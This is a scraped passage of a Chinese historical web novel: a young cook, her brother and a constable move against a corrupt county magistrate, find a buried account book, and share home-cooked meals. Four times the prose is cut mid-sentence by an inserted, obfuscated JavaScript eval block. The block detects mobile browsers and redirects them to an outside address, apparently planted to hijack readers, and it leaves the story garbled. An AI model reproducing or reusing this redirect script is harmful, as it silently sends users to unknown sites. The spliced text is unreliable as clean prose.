“他那是现世报！”王清儿骂道，“你这是替天行道，他就算死了，县衙也不会判你我有罪。” 他是看不起女子，所以才败在自己的轻视，败在一个他轻视的女子手上。 想必余生每每想起此事，心里都恨的不能自已吧。谢玉珍几乎要笑出声来，她是从地狱里爬出来的，她绝对不会再以任何自己不情愿的方式，再回到地狱里。 “嫂嫂不怪我就好我只怕嫂嫂再也不会和我好了。”谢玉珍掉下几滴晶莹的泪珠下来，眼尾都红了起来。 “唉呀，珍妹妹你别哭，美人一哭，我也要哭了呢。”王清儿掏出自己的帕子给谢玉珍拭泪，柔声安慰。 “多谢嫂嫂，嫂嫂待玉珍真好，像待自己的亲妹子一般。今日若是没有嫂嫂，玉珍恐怕就要被人谋取性命，还糊涂不知。”谢玉珍郑重其事说道。 若非今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780325|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世不曾拒绝张娘子的好意，没有和张家交好，若非昨日没有约好今日出来折梅，恐怕今日，她和谢朗、呜云都要被谋杀在家里。 这些年山匪横行，说不准还要被伪装成意外。 那就是真的死的不明不白了。 “哪有你说的这般严重。”王清儿被说的有些不好意思，轻咳了两声，亲亲热热地挽起谢玉珍的胳膊，“我们是在此处等会儿那个郎君还是先回家？” “先回家，他知道我家在哪儿，看到我们不在，心里自然有数。”谢玉珍想了想，还是如此说道，“只怕对面杀回马枪，君子不立危墙之下，我们先回去再说。” 李郎君武功高强，身姿挺拔，雄伟有力，对付这几个酒囊饭袋，也算绰绰有余了。 何况现在什么时辰了，谅他们也不敢恋战，等大伙儿出来串门散步，村子里一人一口唾沫都能淹死他们。 两人回去的时候，谢朗在门口边吃点心边看书，身上穿着谢玉珍给他做的新衣裳，像一个玉做的小仙官。 “女兄，你回来了！”谢朗高兴地迎上去，去签谢玉珍的手，却惊讶发现，谢玉珍手上居然有许多泥土，“发生什么了，怎么一手的泥巴？” “摔了一跤而已。”谢玉珍不欲多说，便如此解释道，“等会儿你和清嫂嫂去老师家玩一会儿，午食时候再回来。” “知道了，女兄。”谢朗乖巧点头答应道。 “嫂嫂，这件事暂且先不要和夫子说，我和李郎君商榷一二，考虑一下措辞。”谢玉珍凑到王清儿耳边，低声说道。 “我晓得轻重。”王清儿微微点头，郑重应她。 “朗哥儿，走，到我家里去读书。”王清儿转即笑起来，过去牵起谢朗的手，“好容易爹爹空闲，还不好好麻烦麻烦他？” 李香君好一会儿才敲响了谢玉珍的门，两人坐定后商量起来。 “那几人绝不是潘案的亲戚，我可以肯定。”谢玉珍说道，“他们话里的意思，是为了潘案的家财而来，下手狠辣，不是普通百姓。” “他们看见我就跑的飞快，似乎是认得我。”李香君皱眉，他沉吟了一会儿才道，“我怀疑，是衙门内的人，当然，这只是怀疑，嵩县认得我的人不少。” 这案子往深里查，水恐怕是深不可测，只怕天天打雀，也要被雀啄了眼睛。 谢玉珍忧心忡忡：“这案子，你可还要插手，牵扯不小，绝非易事你上面还有一个母亲，也要为她想一想。” 李香君只摇头，他叹了一口气说道：“人活一口气，树活一张皮。说是要惩奸除恶，除恶务尽，就一天都不能忘。难道当了捕快，就该把骨气都丢掉吗？” 扪心自问，自从他当上捕头那天起，就约束自己手下的人，不得收受百姓一分一毫，平日里衙门给的银钱不够生活，他就带着手底下的人揭榜领赏金——他应当算正直才对。 “郎君有君子之风，小女子自愧不如。”谢玉珍沉默片刻，似是自嘲一般，开口夸道。 37. 账本 “事情大致就是这样。”李香君坐的脊背挺直，将此事对张夫子解释过一遍。 “暂且吞下这口气。”张夫子叹了一口气，说道，“且看县尊之后有何动作，只怕会给捕头下绊子。” 谢玉珍说道：“再有什么，也得到开春之后，我们不会放在他眼里，这段时间谨慎一些就是。” “是啊，再怎么样，也不能无事生非吧。”李香君点头赞同道，“我这些年不曾行差步错过，最多上衙时候辛苦一些。” 张夫子摇头，将手中的书放到桌子上：“你们当真以为，他们这样换着法子对付你是因为这些银子不成？” 他脸色凝重，谢玉珍二人面面相觑，仔细思考，却都觉得脑子里有着一重迷雾，教人理不清思绪。 “账本！”倏忽间，他们灵光一现，异口同声。 张夫子点头：“是也，你们找过一遍，便以为账本已在他们手中了，他们却觉得账本是在珍娘手中。” “敌不动我不动。”谢玉珍知道县尊想必是不可能放过她，心却一瞬间落地了，“我不怕他们算计。” 一个女人，你能拿什么去算计她？无非名节而已，而这个东西，她若在乎，早在睁开眼睛的第一瞬间就干脆利落地把脖子抹了。 “我也不怕。”李香君说道，“我会保护谢娘子，不会有万一。” 他扬起手，手臂上的肌肉线条凸显出来，让人很有安全感。 “老夫有个故友，是狄将军的文书，等元宵灯会那天，我书信一封，你们替我送去。”张夫子捋了捋胡须，如此说道。 他尚有家小，不便出头。 “多谢夫子！”李香君眼睛一亮，拱手说道。 “也是多事之秋啊。”张夫子叹气，便送他们两个出去了，“此事入得我耳，出得你口，再无第四人知晓，你们两个切记。” “我们省得。”谢玉珍说道。 李香君走在谢玉珍身后，沉默了一路才说道：“我先回去了，你且保重自身。” “我省得。”谢玉珍点头。又是一片沉默。 ---------------- 元月十五晚 “女兄你去吧，我会照顾好呜云的！”谢朗费劲儿抱起小狼，又承受不住重量，将小狼放到地上。 两双亮晶晶、圆溜溜的眼睛直勾勾地盯着她。 谢玉珍心里一片柔软，摸了摸两小只的脑袋：“莲子饭和炒小鱼在锅里瓮着，豆腐煎蛋汤在瓦罐里，到时候加块炭热一下就可以吃，热水在另一个锅里，竹筒在书房里，冷了就灌热水取暖。” “好。”谢朗点头。 “我走了。”谢玉珍系好风帽，和王清儿邀着出门去，“谁来都别开门，别忘记了！” “我看你这不像养弟弟，和养个儿子差不多了。”王清儿取笑她，“这样事无巨细。过了今年，朗哥儿虚岁进十，你也二九年华，该为自己考虑一下才是。” “话是那么个理，可他是我带大的，和儿子也没差了，我以后就让朗哥儿给我养老。”谢玉珍说道。 这么说王清儿便不赞同了：“你可别忘了大虞的律令，过了二十，女子若无婚娶，官府便可自主配人。你的终身大事，反正也无父母之命，可要掌握在自己的手里。” “我晓得”谢玉珍回应道。 “你心里有数就好。”王清儿点到为止，不再聊起这个话题。 到了坊市，王清儿说道：“珍娘，我要去墨竹坊给爹爹买些写字作画用的宣纸，你是要和和我一起去还是先去别的地方逛逛？” 谢玉珍一眼便看到坊市入口第五个摊子处的李香君，便说道：“我先去看看前面的花灯。清嫂嫂你先去吧，到时候我若看不着你，就在坊市门口等你们。” “那我就先走了。”王清儿挥挥手，墨竹坊在坊市比较里面的位置，她还得走一段时间呢。 谢玉珍快步走到猜灯谜的摊子前，和李香君对了个眼神。 “李郎君，甚是凑巧。”谢玉珍微笑，向李香君点头示意，而后望向挂在木架最上一排的花灯，真真是做的精巧极了，灯面上绘制着石榴枝的花样。 灯下垂着一轴纸，上书：话语转折处，点点天上水。打一字 往下数第二排第五个花灯，是双龙戏珠的花样，也很抢眼，灯下的谜面是：养兔守株，打一字 “话语转折处，点点天上水。”谢玉珍沉吟片刻，脱口而出，“是‘河’字，是也不是？” “娘子聪慧这盏花灯是你的了。”摊主叉下最上面的花灯，递到谢玉珍手上，“既如此，娘子再猜一猜这一盏，这两个是摊子上最出色的了，娘子想必便是它们的有缘人了。” 养兔守株，兔，卯兔，守株，株即木。 “柳？”谢玉珍试探说道。 “我果然没看错姑娘，姑娘就是‘有缘人’啊。”有缘人三个字，被咬地极重，谢玉珍不由得望向花灯后的摊主。 花灯摊的摊主抬起头来，长得平平无奇，属于扎进人堆就再也找不到的类型，谢玉珍借着灯光，却一眼将其认了出来。 这人竟是潘案身边的忠仆，专为他做脏事的潘二！ 怎么会！ “这盏花灯，也是娘子的了。”潘二想必早就认出了谢玉珍，却未曾发作什么，平静地将花灯递给谢玉珍，却在谢玉珍接过时捏紧，“当年朗公子的事，娘子可要多多思量啊。” 他话语中似有深意，谢玉珍来不及深想，就听得对方说道—— “已得了最出色的，二位可不要再过于贪心了。”潘二正色，不耐烦得赶客。 “就是啊，我们还得玩呢！”人群中有人不满道。 谢玉珍和李香君被人推搡出摊位内圈，两个人走远些，谢玉珍才将一个灯笼交由李香君。 “多谢了。”李香君接过花灯，连同夹在手柄上的信，说道。 “不谢，我先走了，清嫂嫂想必也快回来了。”谢玉珍说道，“你将信送到坊市中心的瓦子里，李文书在二楼厢房品茶。” “我知道了。”李香君答应道，“这个案子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780326|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你之后别再插手了，他们找不到由头，想必也不好发作。” “别说我了。”谢玉珍摇头，“你一直在查这个事，先担心一下你自己吧，县尊一句话，你身为他手底下的人，最快一个倒霉。” 李香君闻言心里泛起甜意：“谢小娘子的关心，我就收下了。就此别过，堂前燕明天开张，我到时候来帮你。” 说完这些话，两个人就此作别了。 李香君找到瓦子，瓦子一楼中心有个台子，上面有几个小娘子弹弹唱唱，咿咿呀呀的，他一句也听不懂。 一个茶博士上来迎客：“客官是喝茶还是听曲儿啊？一楼散座还是二楼雅间？” “我找人。”李香君说道，“我是张夫子的朋友，李文书在不在二楼，麻烦帮我引见。” “得咧！”茶博士听他不是来消费的，本不欲搭理，却听得张夫子和李文书的名号，又带起笑来，怕得罪了贵人。 “找我？”李文书坐在靠窗的主位上，一脸诧异，“老张的朋友，让他上来吧。” 看是何事，老张的面子不能不给，他心里想，若是什么攀附之辈，早早打消对方的念头也好。 “李文书请您上去。”茶博士下来，指引道，“我这就带您过去！” 入得厢房，茶博士后退着将门关上，李香君放眼望去。 李文书身量修长，蓄得一把美须，眼神光亮堂堂的，很有精神。 不愧是从军的，李香君心里赞叹道。 “小伙子，你来找我，是意欲何为啊？”李文书端坐在椅子上不动如山，悠哉哉地问。 “晚辈李香君，是嵩县县衙的捕头，这是张夫子的信，大人看后便知。”李香君恭敬地双手递上去一封信。 李文书身旁的人见他点头，过去将信接了下来，递给他。 他看了一眼信封上的笔迹，确认是张夫子的，才将信封拆开。 一目十行过手上的信，李文书不敢置信地抬头看李香君，又垂首确认了一遍。 “小小一个县城，当官的胆子倒是大的吓人！”李文书冷哼一声，狠狠把信拍在桌子上，“简直是目无王法，草菅人命！” “近年来四处还有匪患，掘墓盗尸，实在是苦无证据。”李香君说起这些年的情况，“潘案一案结的草率，一干证据毁的也干净。” “潘家的账本不是还没找到？”李文书说道，“账本能找到是最好，不能找到，也有不能找到的办法。你且放心，我既已知晓此事，就不会坐看事态发展。” “多谢文书！”李香君拱手。 李文书站起身来，拍了拍李香君的肩膀，肃了神色。 “好小伙子，等这个事结束，我替你表功！”李文书说道。 “功不功的，我不懂。”李香君说道，“我只在乎能不能为受害人讨回公道。” 这是他的职责所在。 与此同时 谢朗被推下水的河边第五棵柳树下，一个裹满泥土的木匣终于重见天日。 账本，似乎找到了。 38. 菊花蒸蛋，豆芽索饼，蜜枣饮子 潘二给的众多信息，足以让人灵光一现了。 和王清儿分道扬镳之后，谢玉珍从村口河边第五颗柳树下五尺的位置，找到了一个深黑的漆木匣子。 夜黑风高，仍然能凭月光看到她的眼睛，亮的吓人。 “真是得来全不费功夫。”她抱起匣子，匣子上落了一把铜锁，已经被泥土腐锈了，一撬就开了，里面赫然躺着蓝色封皮的线装书册。 潘二这是何意？她实在想不明白，这个凶狠恶毒的男人怎么会把这么重要的东西交到她的手上，他又不是不知道，潘案死之前她和他已经有矛盾了。 潘二是奴籍！ 谢玉珍忽然想到，如果他没有被官府转卖，那他就是逃奴，明面上被抓住是要处死的。 潘二跟着潘案多年，绝对是知道潘案之死的隐秘疑点的，只是碍于身份，没有能力去帮他的主子报复罪魁祸首，而她，就是他选中的冤大头。 “真是，让人火大啊。”谢玉珍久违地感到憋屈，虽说这件事的确事关重大，她不得不为潘案那个贱人找到罪魁祸首的证据，但是—— 她愿意做是一回事，被人算计不得不做，就是另外一回事了。 即使她能想明白这些问题，在回去的途中还是忍不住踹着路上的雪发泄自己身上的火气。 敲门声骤起，谢朗试探性地询问了一声，听到熟悉的声音后，才跑过去将门打开。 “女兄，你快进来！”谢朗轻轻替谢玉珍掸下身上的落雪，“炉子上水烧开没多久，女兄要不要洗脸泡脚？” “倒一些擦擦就行，冬天天气干，又不能喝冷的，渴了还得喝水。”谢玉珍脱下累赘的东西，将木匣子放到书房书桌底下，“晚上吃了没？” “吃了的，碗筷洗好放柜子里了。”谢朗乖巧说道，忙不迭得将热水倒进木盆里，还兑了一些凉水，他伸手试了试温度，才端着送到谢玉珍房间，“女兄，你擦完脚叫我，我把水倒了。” “哪里用得着你，我自己倒就行了，又不是没长手。”谢玉珍失笑，这时呜云不知从哪里钻出来，扒着她的裙角往上跳。 “真是的，呜云一整天都懒在那里玩棍子！”谢朗见嘴巴翘起来，“女兄一回来就两副面孔，它真讨人厌！” “讨人厌你还抱着它睡觉？”谢玉珍挑眉，不由自主就把心里话说出口了，她掩饰性地沉默了一会儿，“你先出去，我等会儿好了出来给我们做宵夜吃。” 谢玉珍将呜云也踢出门外，把手脚都用热毛巾暖暖擦过一遍，才觉得身体升温了，仿佛重新活过来了。 她将脚上的水擦干净，浸泡过热水的脚从冰凉变成温墩墩的，再把罗袜套上，整个人舒服的不行。 打开门之后，谢玉珍问：“早上擀的索饼还剩了些，我想着炒来吃，朗哥儿，你有什么想吃的没？” 谢朗想了想，说了一道容易做不耗时间的美食：“女兄，我想吃加糖的猪油蒸荷包蛋。算了，晚上吃太油腻了，我怕明天拉肚子，还是吃菊花蒸蛋吧。” 他叹了一口气，为不能吃到猪油蒸荷包蛋而感到难受。 “行，菊花蒸蛋，再加一个蜜枣饮子。”谢玉珍确定了菜单，将合围系在腰上，把食材都找了出来。 今秋晒的菊花是张夫子亲手种的，张大娘子送过来时张夫子还十分心疼，她做了几块糕过去后就喜笑颜开了。 “菊花是死物，我是活的！”张夫子耿着脖子和张大娘子说，“吃东西的事，能叫犟嘴吗！” 当时场景如上。 冬天围着炉火的时间很多，菊花可以清热下火，他们平常也有喝菊花茶，只不过菊花蒸蛋这是第一次尝试，不知道味道会不会奇怪。 谢玉珍把鸡蛋搅散，放进洗干净的菊花花瓣，隔水蒸了。 蜜枣饮子就更简单了，拿罐子里封存的蜜枣丢到茶壶里，放些山楂干烧水煮一会儿就好了。爱喝热的就吃的时候再倒出来，爱温一点儿的就烧开了立刻倒出来凉着。 架火烧油，油热拍几头蒜下去爆香，家里只剩豆芽和菘菜了，谢玉珍问了一嘴，就将豆芽倒进铁锅里翻炒起来，炒到断生之后盛起来，再炒索饼。 面食的香味是素菜比不了的，麦香冲进鼻子里，让人滋生口水。虽然不是今年下来的新麦，但是还是很好吃。 “开春我打算买一只母羊和羊崽子回来。”谢玉珍边炒边说道，“我听码头船上一个船夫说，西域那边的人就是因为喝奶吃肉才长的又高又壮，还不容易生病。从今年起，我们也喝。” “真的啊？”谢朗开心起来，他去同桌家玩的时候喝过他家的奶，听说是用杏仁煮的，又香又醇，特别好喝。 “骗你是小狗。”谢玉珍笑，把豆芽重新放进去，最后撒了一勺盐翻炒。 索饼盛在碗里，每一根在烛火下发亮，豆芽炒的软了，吃进嘴里爆出甜甜的汁水。 “朗哥儿，快过来吃。”谢玉珍招手，谢朗屁颠颠地跑过来，把自己的那碗拿走。 菊花蒸蛋一人分了一小碗，不过三四勺的量，作为夜宵，也不需要吃太饱来着。 谢朗认真地嗦着碗里的索饼，感受着牙齿碰撞间感受到的面食弹性，还有很淡的麦香味，整个人不由自主地感受到说不清的一种幸福感。 呜云白天精神的很，这个时候早就困了，做饭的时候就窝在灶边睡着了，还打着小呼噜，夜晚沉静，显得这呼噜声有些明显。 谢朗说：“女兄，我想挖一勺酱油在上面。” 他吃完索饼，把干干净净的碗底展示给谢玉珍看，然后将自己的蒸蛋挪到怀里。 “你自己去弄一点来。”谢玉珍无奈，“这种事就不要问我了，自己决定就好。” “我知道了，女兄。”谢朗点头，站起身来去划拉酱油。 酱油酿造技术是秦汉时期就有的，不知出自何人之手，也不知何时起发明的，说法繁杂多样，最靠谱的一种说法，是秦时某位嬴姓贵族，衣不厌精，食不厌脍，他手底下的宫人为讨好她才捣鼓出这个东西来。 当时酿造的原料是肉，到了汉朝，制酱工艺发生了重大变革，这才演变为现在的酱油。 当然，谢玉珍肯定是不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780327|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做酱油的，她要是会做才是出了奇了。 谢朗将兑了些水的酱油淋到热腾腾的蒸蛋上，还用勺子将蒸蛋划拉成一个一个的小方格子，让味道都渗进去。 “这个蒸蛋好好吃！”谢朗眼睛都吃弯起来了，菊花花瓣被蒸的糯软，太过浓烈的花香被蒸过之后都消散掉了，只留下花瓣绵软的口感，和一丝丝菊花本身的味道。 酱油的鲜味更是给这碗蛋加分，是相得益彰，而非喧宾夺主。 “不加酱油也好吃的。”谢玉珍说道，她舀起一勺送进口里，她蒸蛋之前就给蛋液里面放了盐巴，所以味道并不寡淡，反而出奇的好。 本来以为这个组合味道会有些怪异，结果并没有。 谢朗站起身把炉子上的茶壶提了过来，里面蜜枣的肉已经被煮的软趴趴地烂掉了。 因为用糖腌制过，没有额外再放糖增加风味，山楂干热水里滚过一遭酸味会被放大，所以放的不多。 他倒好一整杯，放到谢玉珍面前的桌子上，他自己不爱喝太烫的，之前已经倒着凉着了。 天气冷，凉的也快，现在已经是温热的了，他吨吨吨得把一整杯下了肚，一点都看不出读书人的斯文。 谢玉珍端着杯沿，吹一口抿一口，蜜枣饮子总体来说，微酸微甜，暖胃清口，喝两口嘴里的油腻就都被带走了。 有时候还能喝到小惊喜，被煮得碎成粒的湿山楂，咬开之后酸水迸溅在口腔里，岂是一个酸爽可言。 感受到胃里传来暖洋洋的温度，谢玉珍有些恍惚。 围炉煮茶，家常夜话，多平静的好日子啊，她心里感叹，可惜这样的日子，也不长了。 但她想那么多干嘛呢？ 这样的好日子，过一天是一天，多一天赚一天，何必自找苦吃。 她手指微微发抖，自己却不曾察觉，只感到有些倦了。 谢朗手撑着自己的脑袋，一动不动看向谢玉珍，看得她都有些不自在。 “你一直盯着我干嘛，怪不自在的。”谢玉珍抿下最后一口水，才开口问。 谢朗也不说话，从书房拿出竹筒，灌了一整筒的热水，递给谢玉珍：“女兄，你是不是累了，手都在抖，你快去睡觉吧，都忙一天了，我算了一下，你月事就在这两天了，这几天你都不能离了这个。” “你算这个干嘛，不知羞。”谢玉珍有些脸红，但还是接过东西，小声斥责。 “这有啥不好说的。”谢朗满不在乎，“又又什么可羞耻的，女孩子来月事多正常啊？女兄，你别太古板了，你每次来这个肚子都疼疼得冒冷汗，你自己还不关心你自己的身子？我这个做弟弟的还要心疼呢。” “好了，说不过你。”谢玉珍心下感动，嘴里却还别扭着，“我歇了，你把碗筷留着，我明天早上做饭顺手就洗了。” 谢朗点头，见谢玉珍回了房间，习以为常地收拾好碗筷，利落地搭着石头把碗筷洗干净放回原来的位置。 男子汉大丈夫，这点事情，难道还要留给女兄？ 小谢朗臭屁地想，明天女兄肯定会夸我！ 39. 搜刮民财，他吗？ 次日，两人押着家什一大早就出发了，堂前燕明日便要开门了。 食随四季，作为一个合格的食肆，堂前燕当然也要规划出随时令变化的菜单。 一月是梅花盛开的好季节，采买一些麦粉，可以上一道梅花饼，汤饼和索饼还可以照常卖，晒干储存的板栗也可以消耗掉了。 这个时候春笋刚好冒头，可以做笋丝馒头，笋子菌汤也很适合这个季节。 等存款多些，堂前燕也能承包起早食，做些馒头、角子、米粥之类，再多聘几个人，也不那么累。 还可以按照一汤一菜一饭卖组合餐食，反正怎么便宜怎么来就是了。 到堂前燕后，谢玉珍长吁了一口气，把板车停下，解开呜云脖子上的绳索，把小家伙放下来了，才掏出钥匙把门打开。 “咳咳！”门上的灰吱呀之间就簌簌的往下落，呛进她的鼻子，“怎么十几日的功夫，就攒了这么些灰尘，呛死人了。” 她掏出帕子递给谢朗，用手把灰从鼻子前扇开。 “该打扫一下了。”谢朗说道。 “你先进去。”谢玉珍闻言，“我先绕到后门把板车拖过去，你去把后门打开等我。” 谢朗点头，他跑到后院将门打开，不过等了一小会儿，谢玉珍便推着板车进来了。 “后日学堂开学，张夫子来接你，你明日去买些笔墨纸砚，钱箱你知道在哪里。”谢玉珍边把东西往下搬，边说道。 这方面她是很信任谢朗的，从来不避讳钱箱的位置，也不上锁。 “嗯，我知道了。”谢朗乖乖点头，把板车上一串串的熏肉往下搬，挂到厨房的房梁上，还要忙着去烧水。 他怕谢玉珍用冷水擦东西，这样会容易长冻疮。 两人把东西都卸完之后，坐着歇了一会儿，才起来活动，准备打扫一下食肆了。 “朗哥儿，你扫一下楼下和后院就行，其他的我来。”谢玉珍说道，谢朗还小，干点轻活儿就得了，也不指望他能帮什么大忙来着。 谢玉珍倒了热水到盆子中，打湿抹布，擦拭着楼梯的扶栏，擦到木柱顶端锃光瓦亮，桌椅也要一套一套擦干净。 窗明几亮，才能给客人留下好的印象。 不多时，李香君穿着衙役的衣裳过来，看见门虚掩着，自然而然地推门进去。 “谢小娘子，我来帮忙了！”堂屋不见人，他声量略微比平常大，回荡在食肆里。 谢玉珍闻言从包厢里出来，倚在栏杆探出半个身子看人。 “李郎君怎么这个时间过来？”她问起来。 “我让沈二给我顶着，不碍事的。”李香君眼里有活儿，力气又大，有他帮忙打扫卫生的时间大大缩减了。 “这个泔水桶不用拿进来，放后门那里就行。”谢玉珍见李香君要把泔水桶拎到厨房，连忙出声阻止。 “哦哦好。”李香君讪讪笑起来，又把木桶放回原地，“那厨房怎么办？” “厨房有装脏东西的木盆，这个泔水桶是别人的，最好别挪动。”谢玉珍解释道，收泔水的人，她是按月给报酬的，花钱买方便罢了。 “李郎君，你还是快些回去吧。”谢玉珍踌躇了片刻，还是说道，“这种时候，可千万别被抓住小辫子了。” 至于被谁抓小辫子，李香君听了心里自然清楚。 “知道，我这也要回去当差了。”李香君干完最后一点儿活儿，拨开咬他裤腿的呜云，大步走了出去。 “李大哥怎么总来献殷勤？”谢朗心生警觉，疑惑地问，“他没有自己的事情做吗？” “怎么能这么说？”谢玉珍秀眉一蹙，不知道谢朗怎么突然会这么想，“这食肆也有李郎君一份，他为自己的食肆忙活，算什么献殷勤，给谁献殷勤？” 谢朗一愣，对哦，这食肆开起来李大哥也出了钱的，他给食肆出力也是应该的…… 哪里对了！谢朗猛的摇头，把脑子里进的水抖出来，他是小，他又不是瞎，李大哥分明就是图谋他女兄的美貌！ 以前没注意看，今天才发现，他每次一看女兄，眼珠子都快盯出来了，哪里没有献殷勤了！ 谢玉珍见他作出一副奇怪样子，不由好笑，谢朗自觉想的透彻，便不再在话语上争高低，把话题转移了。 此时另一边 一个衣衫上打着几个补丁的男人跪在县衙大门前哭天抢地，周围围着不少看热闹的百姓，一时间人声嘈杂，不知所谓。 李香君蓦然一回来，看见的就是这样一个场景，他想也不想，直接抬步走过去，蹲下来问：“你是何人，有什么冤情？” 那人见他，愣了一瞬间，便仿佛看到救苦救难的菩萨一般，大声嚎：“草民刘家村刘富贵，我要状告嵩县捕头李香君搜刮民财，害的我吃不起饭了，求县太爷给我做主啊！” 李香君挑眉，心下骇然：“你状告李香君？” “是，草民状告的就是李香君！”男人言之凿凿道而后又怀疑地看向他，“你不能因为是他手下的人就不让我告官！” 搜刮民财，李香君都要气笑了，捕快连薪资都没有，只有地方官府发的微薄补贴，有时用布匹、粮食来抵，甚至时有时无，大虞是默认衙役从百姓手里收取“保护费”的。 且不说他因为心里过不去从来没从百姓手里拿过一个铜子，就是拿了，又能怎么样？ “你既状告李香君，你怎么也不知眼前人是谁？”人圈内层有人识得李香君，表情奇怪，嘲笑起他来。 “是啊，你既然状告李捕头搜刮你的家财，怎么连李捕头的长相都不知道？”百姓中有人发出疑问。 “是啊是啊！”纷杂的人声都错落地应和起来。 那人本拽着李香君手臂的手猛然松开，质问道：“你就是李香君？！你为什么不说！” “你也没问。”李香君无奈地回复。 男人有些慌乱，这和他想的根本不一样！他眼珠乱转了一会儿，登时又说：“下来收税的是你手底下的人，报的就是你的名字，你怎么抵赖！” “外面作何如此吵闹啊？”大门打开，县令懒悠悠的声音传来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780328|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “草民刘富贵，草民要状告李香君搜刮民财！”刘富贵见县尊出来，往前跪了几步，连连磕头，“求大人为草民做主！” “香君啊，可有此事啊？”县令转头就问起来。 “回大人，并无此事，此事纯属污蔑！”李香君半跪下，抱拳殷殷切切说。 他都要冤死了，他手底下那么多人，又不是个个他都眼熟，个个都是他的亲信！ 人是会有自己的思想的，他是比别人高一个职级，但怎么可能所有人都为他所臂使？ “刚才刘富贵的话本官都听到了，他既说是你手底下的人干的腌臜事，就让你手底下的都出来让他指认一番吧。”县令假装善解人意地问，“香君啊，你没意见吧？” “属下不敢！”李香君忙低头。 县令手一挥，便有人识趣将李香君手底下十几个人都叫了过来。 “刘富贵啊，是谁搜刮你的家财啊，你指一指，本官才好为你做主啊！”县令轻咳了两声，便有人将茶盏递了过去。 刘富贵把手臂举起，缓缓指到队伍第二个。 沈二本来神在在的，站没站相，看了半天才发现，对方指的真是自己。 “你他娘的指我干嘛？”沈二一时没绷住自己的表情，一脸委屈，“我都不认识你！” “你们衙役一天到晚见的人多了，哪里记得起被你们迫害的人？”刘富贵大声说道，声泪俱下，“求县尊大人为草民做主啊！” 衙役征税，一天走访见过何止百人，沈二真是有苦说不出，气闷不已，连连给李香君送去求助的眼神。 “那就先把沈二暂时关押，李香君卸职。”县尊一脸仿佛难为的表情，“香君啊，等我查清楚，一定还你一个清白，这段时间可委屈你了。” 他拍了拍李香君的肩膀，李香君正要争辩，又见沈二冲他轻微摇头，只好作缄默状。 见李香君如此识相，县令满意点头，捋着胡须带着一大堆人轰轰烈烈地又回去了，至于所谓的“受害人”，无人在意。 李香君回头便不见刘富贵人影，恨恨攥紧了拳头，是他连累了沈二。 他心里久违地升起一股挫败感。 半夜无人时，李香君乔装一番悄无声息地潜入了监牢，沈二被关押在死刑犯的监牢内，和三四个人同寝。 “这是怎么一回事？！”李香君实在不能忍受，沈二认出他身形，走过来时，他问道。 “你别管我！”沈二看似心眼粗，但内里很精明，他当时只是没缓过神来，就被下套了，“那个恨不得你劫狱才好，也不知你如何得罪了他。” 哪怕沦落到如此田地，他仍然神在在的，小声叮嘱道：“老大，做人不能太直肠子了，要懂得变通！你在外面，我还有机会出去，你要因为一时意气进来了，我们几个都得完蛋！” “我明白了。”李香君黯然，他觉得自己实在是太蠢了，“我这就走，你保重好自己，我一定救你出去！” “我相信你，老大！”沈二笑起来，看上去仿佛没发生这桩事一般。 40. 你、你是！（菊花菌菇锅子、白灼小羊排、羊…… 谢玉珍知道李香君被卸职这件事的时候，还在后厨热火朝天地教王清儿炒菜，从来吃饭的衙役口中得知。 “多谢郎君相告，茶博士，送凉菜一碟！”谢玉珍招呼走堂的过来招待，自己回到后厨炒菜。 王清儿见谢玉珍脸色有些凝重，不由得开口问：“怎么了，脸色这样难看？” “听人说沈捕快被抓了。”谢玉珍说道，“他家在嵩县也算豪富，如何能去搜刮民脂民膏？想来唏嘘，也是一桩冤案。” “县尊再过些时间就调任了，想来是要趁离开之前捞一笔政绩？”王清儿知道嵩县县令是什么为人秉性，准确来说，嵩县没有几个不知道的，她嗤笑着说道，“这也不是什么大罪，想必关些时候就放出来了。” 谢玉珍听着这话，心里却并没有被安慰到，她知道这件事到底牵扯着什么，别的不怕，账本已经交给大人物了，只怕他狗急跳墙，能带走一个是一个。 整个事情里面，沈二算是最无辜的一个了，他是真的什么也不知道啊。 